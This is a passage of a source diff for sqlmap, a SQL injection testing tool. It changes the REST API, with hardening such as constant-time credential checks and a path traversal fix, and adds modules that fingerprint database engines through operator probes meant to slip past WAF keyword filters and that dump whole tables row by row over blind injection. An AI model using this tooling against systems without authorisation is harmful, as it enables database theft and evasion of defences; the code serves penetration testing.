-                    conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0]))
+            _storeData(conf.databaseCursor, self.taskid, value, status, content_type)
         else:
             conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))
 
@@ -293,7 +464,20 @@ def setRestAPILog():
 
 # Generic functions
 def is_admin(token):
-    return DataStore.admin_token == token
+    return safeCompareStrings(DataStore.admin_token, token)
+
+def validate_task_options(taskid, options, caller):
+    if not isinstance(options, dict):
+        logger.warning("[%s] Invalid JSON options provided to %s()" % (taskid, caller))
+        return "Invalid JSON options"
+
+    for key in options:
+        if key in RESTAPI_UNSUPPORTED_OPTIONS or key in RESTAPI_READONLY_OPTIONS:
+            logger.warning("[%s] Unsupported option '%s' provided to %s()" % (taskid, key, caller))
+            return "Unsupported option '%s'" % key
+        elif key not in DataStore.tasks[taskid].options:
+            logger.warning("[%s] Unknown option '%s' provided to %s()" % (taskid, key, caller))
+            return "Unknown option '%s'" % key
 
 @hook('before_request')
 def check_authentication():
@@ -311,11 +495,11 @@ def check_authentication():
     except:
         request.environ["PATH_INFO"] = "/error/401"
     else:
-        if creds.count(':') != 1:
+        if ':' not in creds:
             request.environ["PATH_INFO"] = "/error/401"
         else:
-            username, password = creds.split(':')
-            if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""):
+            username, password = creds.split(':', 1)
+            if not (safeCompareStrings(username.strip(), DataStore.username or "") and safeCompareStrings(password.strip(), DataStore.password or "")):  # Note: constant-time comparison (mirrors is_admin) to avoid a timing side-channel on the credentials
                 request.environ["PATH_INFO"] = "/error/401"
 
 @hook("after_request")
@@ -391,6 +575,7 @@ def task_delete(taskid):
     Delete an existing task
     """
     if taskid in DataStore.tasks:
+        DataStore.tasks[taskid].engine_kill()
         DataStore.tasks.pop(taskid)
 
         logger.debug("(%s) Deleted task" % taskid)
@@ -412,9 +597,13 @@ def task_list(token=None):
     """
     tasks = {}
 
-    for key in DataStore.tasks:
+    for key in list(DataStore.tasks):
         if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
-            tasks[key] = dejsonize(scan_status(key))["status"]
+            # NOTE: tolerate a task being deleted concurrently (scan_status would then return an
+            # error envelope without a "status" key); skip it rather than raising KeyError
+            status = dejsonize(scan_status(key)).get("status")
+            if status is not None:
+                tasks[key] = status
 
     logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
     return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
@@ -488,6 +677,10 @@ def option_set(taskid):
         logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid)
         return jsonize({"success": False, "message": "Invalid JSON options"})
 
+    message = validate_task_options(taskid, request.json, "option_set")
+    if message:
+        return jsonize({"success": False, "message": message})
+
     for option, value in request.json.items():
         DataStore.tasks[taskid].set_option(option, value)
 
@@ -509,10 +702,13 @@ def scan_start(taskid):
         logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid)
         return jsonize({"success": False, "message": "Invalid JSON options"})
 
-    for key in request.json:
-        if key in RESTAPI_UNSUPPORTED_OPTIONS:
-            logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key))
-            return jsonize({"success": False, "message": "Unsupported option '%s'" % key})
+    if DataStore.tasks[taskid].engine_process() is not None and not DataStore.tasks[taskid].engine_has_terminated():
+        logger.warning("[%s] Scan already running" % taskid)
+        return jsonize({"success": False, "message": "Scan already running"})
+
+    message = validate_task_options(taskid, request.json, "scan_start")
+    if message:
+        return jsonize({"success": False, "message": message})
 
     # Initialize sqlmap engine's options with user's provided options, if any
     for option, value in request.json.items():
@@ -582,23 +778,15 @@ def scan_data(taskid):
     Retrieve the data of a scan
     """
 
-    json_data_message = list()
-    json_errors_message = list()
-
     if taskid not in DataStore.tasks:
         logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid)
         return jsonize({"success": False, "message": "Invalid task ID"})
 
-    # Read all data from the IPC database for the taskid
-    for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)):
-        json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)})
-
-    # Read all error messages from the IPC database
-    for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)):
-        json_errors_message.append(error)
+    # Read all data and error messages from the IPC database (shared assembler - same output as --report-json)
+    result = _assembleData(DataStore.current_db, taskid)
 
     logger.debug("(%s) Retrieved scan data and error messages" % taskid)
-    return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
+    return jsonize(result)
 
 # Functions to handle scans' logs
 @get("/scan/<taskid>/log/<start>/<end>")
@@ -659,7 +847,7 @@ def download(taskid, target, filename):
 
     path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
     # Prevent file path traversal
-    if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
+    if not path.startswith(os.path.join(paths.SQLMAP_OUTPUT_PATH, "")):
         logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
         return jsonize({"success": False, "message": "Forbidden path"})
 
@@ -678,13 +866,16 @@ def version(token=None):
     """
 
     logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr))
-    return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]})
+    return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1], "api_version": int(RESTAPI_VERSION.split(".")[0])})
 
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None):
     """
-    REST-JSON API server
+    REST API server
     """
 
+    if not all((username, password)):
+        logger.critical("REST API server requires both username and password")
+
     DataStore.admin_token = encodeHex(os.urandom(16), binary=False)
     DataStore.username = username
     DataStore.password = password
@@ -700,7 +891,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             s.bind((host, 0))
             port = s.getsockname()[1]
 
-    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
+    logger.info("Running REST API server at '%s:%d'.." % (host, port))
     logger.info("Admin (secret) token: %s" % DataStore.admin_token)
     logger.debug("IPC database: '%s'" % Database.filepath)
 
@@ -760,7 +951,7 @@ def _client(url, options=None):
 
 def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None):
     """
-    REST-JSON API client
+    REST API client
     """
 
     DataStore.username = username
@@ -768,20 +959,20 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
 
     dbgMsg = "Example client access from command line:"
     dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
-    dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
+    dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
     dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
     dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
     logger.debug(dbgMsg)
 
     addr = "http://%s:%d" % (host, port)
-    logger.info("Starting REST-JSON API client to '%s'..." % addr)
+    logger.info("Starting REST API client to '%s'..." % addr)
 
     try:
         _client(addr)
     except Exception as ex:
         if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED:
             errMsg = "There has been a problem while connecting to the "
-            errMsg += "REST-JSON API server at '%s' " % addr
+            errMsg += "REST API server at '%s' " % addr
             errMsg += "(%s)" % getSafeExString(ex)
             logger.critical(errMsg)
             return
@@ -898,7 +1089,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
 
         elif command in ("help", "?"):
             msg = "help           Show this help message\n"
-            msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
+            msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n"
             msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
             msg += "data           Retrieve and show data for current task\n"
             msg += "log            Retrieve and show log for current task\n"

lib/utils/brute.py

@@ -310,7 +310,9 @@ def columnExists(columnFile, regex=None):
                 else:
                     columns[column] = "non-numeric"
 
-            kb.data.cachedColumns[conf.db] = {table: columns}
+            if conf.db not in kb.data.cachedColumns:
+                kb.data.cachedColumns[conf.db] = {}
+            kb.data.cachedColumns[conf.db][table] = columns
 
             for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()):
                 if _ not in kb.brute.columns:

lib/utils/dialect.py

@@ -0,0 +1,129 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import popValue
+from lib.core.common import pushValue
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.request.inject import checkBooleanExpression
+
+# Operator-dialect probes for a keyword-free back-end DBMS heuristic.
+#
+# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator
+# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements
+# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry
+# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a
+# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely).
+#
+# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean
+# (... AND (<probe>)), which yields a clean true/false from the comparison oracle. (A value-position
+# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on
+# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
+# false positives. See PROVE_DESIGN.md.)
+#
+# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
+# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
+# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
+# anchor value 2:
+#
+#   * 2^0=2  -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
+#              vs no such operator (SQLite/Oracle/... -> error, so false)
+#   * 2^3=8  -> '^' is exponentiation (PostgreSQL/CockroachDB/CrateDB: 2^3=8) - false for XOR dialects
+#              (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT:
+#              '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB
+#              also use it (neither on the platform), so this can read as PostgreSQL there.
+#   * 5/2=2  -> integer division (PostgreSQL/MSSQL/SQLite/MonetDB) vs real division (MySQL/Oracle: 2.5)
+#   * 2|0=2  -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2)
+#   * 1<<2=4 -> a bit-shift operator exists. MonetDB shares MSSQL's (xor, intdiv) = (True, True)
+#              signature exactly, which would misread MonetDB as SQL Server; MonetDB HAS '<<' while
+#              SQL Server has NO shift operator (any version) -> this probe splits that one collision.
+DIALECT_PROBES = (
+    ("xor", "2^0=2"),
+    ("pgpow", "2^3=8"),
+    ("intdiv", "5/2=2"),
+    ("bitor", "2|0=2"),
+    ("shift", "1<<2=4"),
+)
+
+def _classify(signature):
+    """
+    Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
+    DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
+    detection proceeds unchanged - the heuristic never wrong-foots the scan).
+
+    Rules below are the subset of the measured 11-engine truth table that maps with zero
+    false positives. Engines whose operator profile is not distinctive enough (Oracle's
+    all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
+    a fully WAF-blocked channel also produces) deliberately fall through to None:
+
+    >>> _classify((True, False, False, True, True))           # MySQL / MariaDB / TiDB
+    'MySQL'
+    >>> _classify((True, False, True, True, False))           # Microsoft SQL Server (no bit-shift)
+    'Microsoft SQL Server'
+    >>> _classify((True, False, True, True, True))            # MonetDB (same xor/intdiv as MSSQL, but has '<<')
+    'MonetDB'
+    >>> _classify((False, True, True, True, False))           # PostgreSQL
+    'PostgreSQL'
+    >>> _classify((False, True, False, True, False))          # CockroachDB (pgwire) -> PostgreSQL family
+    'PostgreSQL'
+    >>> _classify((False, False, True, True, True))           # SQLite
+    'SQLite'
+    >>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
+    True
+    >>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
+    True
+    """
+
+    xor, pgpow, intdiv, bitor, shift = signature
+
+    if pgpow:                                               # '^' is exponentiation -> PostgreSQL family
+        return DBMS.PGSQL
+    if xor and intdiv:                                      # '^' is XOR AND integer division -> SQL Server ...
+        # ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
+        # ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
+        return DBMS.MONETDB if shift else DBMS.MSSQL
+    if xor and not intdiv:                                  # '^' is XOR AND real division -> MySQL family
+        return DBMS.MYSQL
+    if not xor and intdiv and bitor:                        # no '^', integer division, bitwise '|' -> SQLite
+        return DBMS.SQLITE
+
+    return None
+
+def dialectCheckDbms(injection):
+    """
+    Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
+    given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
+    WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
+    here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
+    WAF-blocked channel yields None, leaving the scan unchanged.
+    """
+
+    retVal = None
+
+    if conf.skipHeuristics:
+        return retVal
+
+    pushValue(kb.injection)
+    kb.injection = injection
+
+    try:
+        # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
+        # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
+        if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
+            signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
+            retVal = _classify(signature)
+    finally:
+        kb.injection = popValue()
+
+    if retVal and not Backend.getIdentifiedDbms():
+        infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal
+        logger.info(infoMsg)
+
+    return retVal

lib/utils/har.py

@@ -185,7 +185,7 @@ class Response(object):
             "size": len(self.content or "")
         }
 
-        binary = set([b'\0', b'\1'])
+        binary = set([b'\0', b'\1', u'\0', u'\1', 0, 1])
         if any(c in binary for c in self.content):
             content["encoding"] = "base64"
             content["text"] = getText(base64.b64encode(self.content))

lib/utils/hash.py

@@ -616,7 +616,7 @@ def _finalize(retVal, results, processes, attack_info=None):
             removals.add((user, hash_))
             hashDBWrite(hash_, word)
 
-        for item in attack_info or []:
+        for item in list(attack_info or []):
             if (item[0][0], item[0][1]) in removals:
                 attack_info.remove(item)
 
@@ -1047,7 +1047,7 @@ def dictionaryAttack(attack_dict):
                             hash_ = hash_.lower()
 
                         if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
-                            item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
+                            item = [(user, encodeHex(decodeBase64(hash_, binary=True), binary=False)), {}]
                         elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
                             if hash_.startswith("0x"):  # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017
                                 hash_ = hash_[2:]
@@ -1081,7 +1081,7 @@ def dictionaryAttack(attack_dict):
 
                         if item and hash_ not in keys:
                             resumed = hashDBRetrieve(hash_)
-                            if not resumed:
+                            if resumed is None:
                                 attack_info.append(item)
                                 user_hash.append(item[0])
                             else:

lib/utils/hashdb.py

@@ -16,6 +16,7 @@ from lib.core.common import getSafeExString
 from lib.core.common import serializeObject
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unserializeObject
+from lib.core.compat import RecursionError
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
@@ -106,7 +107,7 @@ class HashDB(object):
             if retVal is None:
                 retVal = self._read_cache.get(hash_)
 
-            if not retVal:
+            if retVal is None:
                 for _ in xrange(HASHDB_RETRIEVE_RETRIES):
                     try:
                         for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)):

lib/utils/keysetdump.py

@@ -0,0 +1,312 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.agent import agent
+from lib.core.bigarray import BigArray
+from lib.core.common import Backend
+from lib.core.common import isNoneValue
+from lib.core.common import singleTimeWarnMessage
+from lib.core.common import unArrayizeValue
+from lib.core.common import unsafeSQLIdentificatorNaming
+from lib.core.compat import xrange
+from lib.core.convert import getConsoleLength
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.dicts import DUMP_REPLACEMENTS
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import DBMS
+from lib.core.enums import EXPECTED
+from lib.core.settings import NULL
+from lib.core.unescaper import unescaper
+from lib.request import inject
+from lib.utils.safe2bin import safechardecode
+
+# back-end DBMSes whose dump table reference is schema/database-qualified (db.table).
+# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the
+# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users).
+KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB)
+
+def _tableRef(tbl):
+    dbms = Backend.getIdentifiedDbms()
+    if dbms in (DBMS.ORACLE,) and conf.db:
+        return "%s.%s" % (conf.db.upper(), tbl.upper())
+    if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db:
+        return "%s.%s" % (conf.db, tbl)
+    return tbl
+
+def keysetSupported():
+    """
+    Whether the back-end DBMS declares the keyset (seek) pagination queries and a
+    cursor source (a physical row-id pseudo-column or a primary-key catalog lookup)
+    """
+
+    dumpNode = queries[Backend.getIdentifiedDbms()].dump_table
+    return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode)
+
+def _integerCursor(tbl, cursor):
+    """
+    Whether every cursor column holds integer values, probed via MIN(col).
+
+    Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a
+    numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be
+    escaped to a binary/hex literal whose order can differ from MIN's collation and silently
+    skip rows, so they are rejected here and fall back to the OFFSET dump.
+    """
+
+    blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
+    ref = _tableRef(tbl)
+
+    for column in cursor:
+        query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref))
+        value = unArrayizeValue(inject.getValue(query))
+
+        # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows
+        if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None:
+            return False
+
+    return True
+
+def resolveKeysetCursor(tbl, colList):
+    """
+    Returns the list of column(s) forming a stable, indexed cursor for keyset (seek)
+    pagination of the table: a declared physical row-id pseudo-column when available,
+    otherwise the indexed primary key (single or composite) resolved from the catalog.
+    Returns None when neither applies or a key column is not part of the dumped columns.
+    """
+
+    if not keysetSupported():
+        return None
+
+    dumpNode = queries[Backend.getIdentifiedDbms()].dump_table
+
+    # 1) a declared physical row-id pseudo-column (always unique + indexed where supported)
+    if "rowid" in dumpNode.blind:
+        return [dumpNode.blind.rowid]
+
+    # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared)
+    pkNode = dumpNode.primary_key
+
+    # Note: schema/table are string literals in the catalog lookups, so the unquoted
+    # (identifier-unescaped) names are used (the dump queries keep the quoted form)
+    unsafeDb = unsafeSQLIdentificatorNaming(conf.db)
+    unsafeTbl = unsafeSQLIdentificatorNaming(tbl)
+
+    # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row
+    # filter from --where must not be appended to them
+    query = pkNode.count % (unsafeDb, unsafeTbl)
+    count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+    try:
+        count = int(count)
+    except (ValueError, TypeError):
+        return None
+
+    if count < 1:
+        return None
+
+    # composite keys require the row-value/ordered keyset form
+    if count > 1 and "keyset_ordered" not in dumpNode.blind:
+        return None
+
+    cursor = []
+    for index in xrange(count):
+        query = pkNode.query % (unsafeDb, unsafeTbl, index)
+        column = unArrayizeValue(inject.getValue(query))
+
+        if not column:
+            return None
+
+        match = None
+        for _ in colList:
+            if _ and _.lower() == column.lower():
+                match = _
+                break
+
+        if match is None:
+            return None
+
+        cursor.append(match)
+
+    # restrict to integer cursors: a string key's escaped-literal comparison may order
+    # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET)
+    if not _integerCursor(tbl, cursor):
+        return None
+
+    return cursor
+
+def _lit(value):
+    """
+    Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys
+    (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped
+    (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes).
+    """
+
+    if value is not None and re.match(r"\A-?[0-9]+\Z", value):
+        return value
+    return unescaper.escape(value, False)
+
+def _embed(template, value, *fixed):
+    """
+    Fills a single-column keyset template whose trailing placeholder is the cursor value.
+    """
+
+    template = template.replace("'%s'", "%s")
+    return template % (fixed + (_lit(value),))
+
+def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths):
+    blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
+    field = agent.preprocessField(tbl, cursor)
+
+    if conf.limitStart and conf.limitStop:
+        target = max(0, conf.limitStop - conf.limitStart + 1)
+    elif conf.limitStop:
+        target = conf.limitStop
+    elif conf.limitStart:
+        target = max(0, count - conf.limitStart + 1)
+    else:
+        target = count
+
+    pivotValue = None
+
+    # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset
+    if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind:
+        query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2))
+        seed = unArrayizeValue(inject.getValue(query))
+
+        if isNoneValue(seed) or seed == NULL:
+            return
+
+        pivotValue = safechardecode(seed)
+
+    produced = 0
+
+    while produced < target:
+        if pivotValue is None:
+            query = blind.keyset_first % (field, tableRef)
+        else:
+            query = _embed(blind.keyset_next, pivotValue, field, tableRef, field)
+
+        query = agent.whereQuery(query)
+        value = unArrayizeValue(inject.getValue(query))
+
+        if isNoneValue(value) or value == NULL:
+            break
+
+        value = safechardecode(value)
+
+        # safety latch against a non-advancing cursor (e.g. encoding edge cases)
+        if value == pivotValue:
+            singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
+            break
+
+        pivotValue = value
+
+        for column in colList:
+            if column == cursor:
+                colValue = pivotValue
+            else:
+                query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field)
+                query = agent.whereQuery(query)
+                colValue = unArrayizeValue(inject.getValue(query, dump=True))
+
+            colValue = "" if isNoneValue(colValue) else colValue
+            lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue))))
+            entries[column].append(colValue)
+
+        produced += 1
+
+def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths):
+    blind = queries[Backend.getIdentifiedDbms()].dump_table.blind
+    fields = [agent.preprocessField(tbl, _) for _ in cursorCols]
+    orderExpr = ','.join(fields)
+
+    startSkip = (conf.limitStart - 1) if conf.limitStart else 0
+    if conf.limitStart and conf.limitStop:
+        target = max(0, conf.limitStop - conf.limitStart + 1)
+    elif conf.limitStop:
+        target = conf.limitStop
+    elif conf.limitStart:
+        target = max(0, count - conf.limitStart + 1)
+    else:
+        target = count
+
+    prev = None
+    produced = 0
+    seen = 0
+
+    while produced < target and seen < count:
+        if prev is None:
+            condition = "1=1"
+        else:
+            # ANSI row-value (tuple) comparison advances the composite cursor lexicographically
+            condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev))
+
+        tup = []
+        for field in fields:
+            query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr))
+            value = unArrayizeValue(inject.getValue(query))
+            tup.append(None if isNoneValue(value) else safechardecode(value))
+
+        if all(isNoneValue(_) for _ in tup):
+            break
+
+        if prev is not None and tup == prev:
+            singleTimeWarnMessage("keyset cursor stopped advancing prematurely")
+            break
+
+        prev = tup
+        seen += 1
+
+        if seen <= startSkip:
+            continue
+
+        equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup))
+
+        for column in colList:
+            if column in cursorCols:
+                colValue = tup[cursorCols.index(column)]
+            else:
+                query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals))
+                colValue = unArrayizeValue(inject.getValue(query, dump=True))
+
+            colValue = "" if isNoneValue(colValue) else colValue
+            lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue))))
+            entries[column].append(colValue)
+
+        produced += 1
+
+def keysetDumpTable(tbl, colList, count, cursor):
+    """
+    Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of
+    one or more indexed key columns): the next row is reached with a >/row-value comparison
+    against the previous cursor (index range scan) and every other column is fetched with an
+    exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no
+    per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump
+    (single-column cursors), after which the walk is pure keyset.
+    """
+
+    tableRef = _tableRef(tbl)
+    lengths = {}
+    entries = {}
+
+    for column in colList:
+        lengths[column] = 0
+        entries[column] = BigArray()
+
+    if len(cursor) == 1:
+        _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths)
+    else:
+        _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths)
+
+    debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl))
+    logger.debug(debugMsg)
+
+    return entries, lengths

lib/utils/pivotdumptable.py

@@ -14,10 +14,12 @@ from lib.core.common import filterNone
 from lib.core.common import getSafeExString
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
+from lib.core.common import prioritySortColumns
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
+from lib.core.convert import getConsoleLength
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -28,7 +30,6 @@ from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import EXPECTED
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
-from lib.core.settings import MAX_INT
 from lib.core.settings import NULL
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.unescaper import unescaper
@@ -58,7 +59,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
         logger.info(infoMsg)
 
         for column in colList:
-            lengths[column] = len(column)
+            lengths[column] = getConsoleLength(column)
             entries[column] = []
 
         return entries, lengths
@@ -70,7 +71,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
         lengths[column] = 0
         entries[column] = BigArray()
 
-    colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT))
+    colList = prioritySortColumns(filterNone(colList))
 
     if conf.pivotColumn:
         for _ in colList:
@@ -169,7 +170,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
 
                 value = "" if isNoneValue(value) else unArrayizeValue(value)
 
-                lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
+                lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                 entries[column].append(value)
 
     except KeyboardInterrupt:

lib/utils/prove.py

@@ -0,0 +1,384 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import os
+
+from lib.core.common import Backend
+from lib.core.common import average
+from lib.core.common import openFile
+from lib.core.common import randomInt
+from lib.core.common import stdev
+from lib.core.common import unArrayizeValue
+from lib.core.common import urldecode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import EXPECTED
+from lib.core.enums import HTTPMETHOD
+from lib.core.enums import PAYLOAD
+from lib.core.enums import PLACE
+from lib.core.settings import INFERENCE_MARKER
+from lib.core.settings import SLEEP_TIME_MARKER
+from lib.request.inject import getValue
+
